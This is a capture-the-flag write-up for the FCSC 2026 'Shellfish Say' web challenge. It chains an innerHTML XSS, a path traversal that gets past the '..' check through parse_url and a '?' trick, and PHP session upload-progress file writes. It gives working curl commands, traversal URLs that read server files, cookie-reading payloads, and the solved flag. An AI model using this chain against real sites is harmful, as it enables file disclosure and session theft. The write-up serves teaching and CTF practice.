Informations
| Field | Value |
|---|---|
| CTF | FCSC 2026 |
| Category | Web |
| Difficulty | Medium |
| Points | 310 |
| Solves | 84 |
Description
Enfin la nouvelle version de Shrimp Say est sortie ! Découvrez Shellfish Say !
Pour demander au bot de dire quelque chose, il suffit de se connecter avec : nc challenges.fcsc.fr 2256.
Note : La VM de l’épreuve n’a pas accès à Internet.
Source code is given: shellfish-say.tar.xz
Analysis
Architecture overview
The sources contain these files:
1$ tree
2.
3├── shellfish-say
4│ ├── docker-compose.yml
5│ └── src
6│ ├── app
7│ │ ├── Dockerfile
8│ │ ├── html
9│ │ │ ├── .htaccess
10│ │ │ ├── favicon.ico
11│ │ │ ├── get_quote.php
12│ │ │ ├── index.php
13│ │ │ └── shrimp.gif
14│ │ ├── php.ini
15│ │ ├── quotes
16│ │ │ └── shrimp.txt
17│ │ └── run.sh
18│ └── bot
19│ ├── Dockerfile
20│ ├── entrypoint.sh
21│ └── src
22│ ├── bot.js
23│ ├── package.json
24│ └── utils.js
25└── shellfish-say.tar.xz
We can see that there is a main application in the app folder and a bot service in the other folder. The flag is stored in the cookies of the bot’s browser.
Finding the XSS gadget
The main application contains a main index.php file:
1<!DOCTYPE html>
2<html>
3<head>
4 <style>
5 /* CSS */
6 </style>
7 <title>Shellfish Say</title>
8</head>
9<body>
10 <main>
11 <div class="speech-bubble"></div>
12 <br/>
13 <img src="https://i.giphy.com/uOx4m7GF9mEpkh9MgE.webp" style="width: 350px; height: auto;" alt="shellfish">
14 </main>
15 <script>
16 async function load_quote() {
17 const params = new URLSearchParams(window.location.search);
18 const quote_file = params.get("quote") ?? "shellfish.txt";
19 let quote;
20 let resp = await fetch(`/get_quote?quote=${quote_file}`);
21 quote = await resp.text();
22
23 document.body.getElementsByClassName("speech-bubble")[0].innerHTML = quote;
24 }
25
26 document.addEventListener("DOMContentLoaded", function(event){
27 load_quote();
28 });
29 </script>
30</body>
31</html>
We can see that the JavaScript contained in this file loads a quote file from the path /get_quote?quote=${quote_file} which takes as argument an arbitrary filename. Then, the content of this file is dynamically added to the DOM through innerHTML. This means that, if we control the content of the loaded file, we can achieve an XSS and steal the bot’s cookies with this payload: <img src=x onerror=console.log(document.cookie)>
Path traversal
The content of the get_quote.php file is the following:
1<?php
2$quote_file = "/tmp/quotes/";
3if(isset($_GET["quote"])) {
4 if(strpos($_GET["quote"],":")) {
5 $quote_file .= parse_url($_GET["quote"].".txt")["path"];
6 } else {
7 if(strpos($_GET["quote"], "..")) {
8 $quote_file .= "shellfish.txt";
9 } else {
10 $quote_file .= $_GET["quote"].".txt";
11 }
12 }
13} else {
14 $quote_file .= "shellfish.txt";
15}
16if(!file_exists($quote_file)) {
17 $quote_file = "/tmp/quotes/shellfish.txt";
18}
19readfile($quote_file);
The server builds a file path starting from the base directory /tmp/quotes/, then appends .txt at the end. The quote GET parameter goes through four distinct branches:
No
quoteparameter: defaults toshellfish.txtquotecontains..: path traversal attempt detected, falls back toshellfish.txtquotecontains:: treated as a URL:parse_url($_GET["quote"] . ".txt")["path"]extracts only the path component and appends it to the base directory. This is the interesting branch — it bypasses the..check entirely, since the colon triggersparse_urlbefore any traversal check is made.quoteis a plain string: appended as-is:/tmp/quotes/<quote>.txt
Finally, if the resolved file does not exist, it falls back to shellfish.txt before calling readfile(). The protection against path traversal (.. check) only applies to the plain string branch, leaving the parse_url branch unchecked.
This means that if we pass a quote like: http://x/../../../../../etc/passwd, since there is a : in this URL, no check will be applied, the server will only extract the path from this url.
The only problem is that, the server is adding .txt to the provided url before extracting the path. The previous example will therefore result in the following path: /tmp/quotes//../../../../../etc/passwd.txt. To bypass this, we need to abuse the fact that the server adds the extension before extracting the path. This means that, if we add a ? char after the arbitrary filename, the server will parse as:
1$quote_file .= parse_url("http://x/../../../../../etc/passwd?.txt")["path"];
As the .txt extension is now after ? the server will interpret this as a query argument. The resulting quote file will then be:
1/tmp/quotes//../../../../../etc/passwd
We can verify the path traversal by reading the .htaccess from the server, for example:
1$ curl "https://shellfish-say.fcsc.fr/get_quote.php?quote=http://x/../../../../../var/www/html/.htaccess?"
2RewriteEngine On
3RewriteCond %{REQUEST_FILENAME}.php -f
4RewriteRule ^(.+)$ $1.php [L]
We have a path traversal ! Now, we need to find a way to write arbitrary content somewhere on the filesystem to add our XSS payload which will be displayed through the path traversal.
Arbitrary file write through session files
In the php.ini configuration file, we can see this variable:
1session.upload_progress.cleanup = Off
This instruction defines whether the server should remove the progress temporary file “as soon as all POST data has been read”, here is the official documentation from PHP.
We can abuse this parameter to write a sesison file to the filesystem that will not be removed after all the data as been sent. The used payload comes from this documentation about the subject: https://www.exploit-db.com/docs/50157.
In this documentation, they use this payload to write a session file:
1$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=SiLvER' -F 'PHP_SESSION_UPLOAD_PROGRESS=anything' -F 'file=@/etc/hostname'
In the case of our challenge, the session files are written to the /tmp folder. With the previous curl request, a /tmp/sess_SiLvER file will be created with this content:
1$ cat sess_SiLvER
2a:1:{s:24:"upload_progress_anything";a:5:{s:10:"start_time";i:1777277463;s:14:"content_length";i:337;s:15:"bytes_processed";i:337;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:1:"a";s:8:"tmp_name";s:14:"/tmp/phpVhf4RO";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1777277463;s:15:"bytes_processed";i:2;}}}}
We can see that the arbitrary value anything is contained in the file.
Exploitation
Now, we will chain everything together. First, we will need to write a file containing an XSS payload.
To test everything, we can first test with this payload:
1$ curl https://shellfish-say.fcsc.fr/ -H 'Cookie: PHPSESSID=exploit' -F 'PHP_SESSION_UPLOAD_PROGRESS=\<img src=x onerror=alert(document.domain)>' -F 'file=@/tmp/a'
Then, navigating to https://shellfish-say.fcsc.fr/get_quote.php?quote=http://x/../../../../../tmp/sess_exploit? results in displaying a JavaScript alert.

Now, we just need to adapt the payload to execute console.log(document.cookie).
The curl request will then be:
1$ curl https://shellfish-say.fcsc.fr/ -H 'Cookie: PHPSESSID=exploit' -F 'PHP_SESSION_UPLOAD_PROGRESS=\<img src=x onerror=console.log(document.cookie)>' -F 'file=@/tmp/a'
Then, we deliver the exploit to the bot to get the flag:
1$ nc challenges.fcsc.fr 2256
2==========
3Tips: Every console.log usage on the bot will be sent back to you :)
4Note that your exploit must target http://shellfish-say/ to get the flag.
5==========
6http://shellfish-say/get_quote.php?quote=http://x/../../../../tmp/sess_exploit?
7
8Starting the browser...
9[T1]> New tab created!
10[T1]> navigating | about:blank
11
12Setting the flag in a cookie...
13
14Going to the user provided link...
15[T1]> navigating | http://shellfish-say/get_quote.php?quote=http://x/../../../../tmp/sess_exploit?
16[T1]> console.error | Failed to load resource: the server responded with a status of 404 (Not Found)
17[T1]> console.log | FLAG=FCSC{173b276667bf8bd64ae842c4df76bc25913078dbe167b6d47ca59a858ea15e8c}
18
19Leaving o/
20[T1]> Tab closed!
Flag
1FCSC{173b276667bf8bd64ae842c4df76bc25913078dbe167b6d47ca59a858ea15e8c}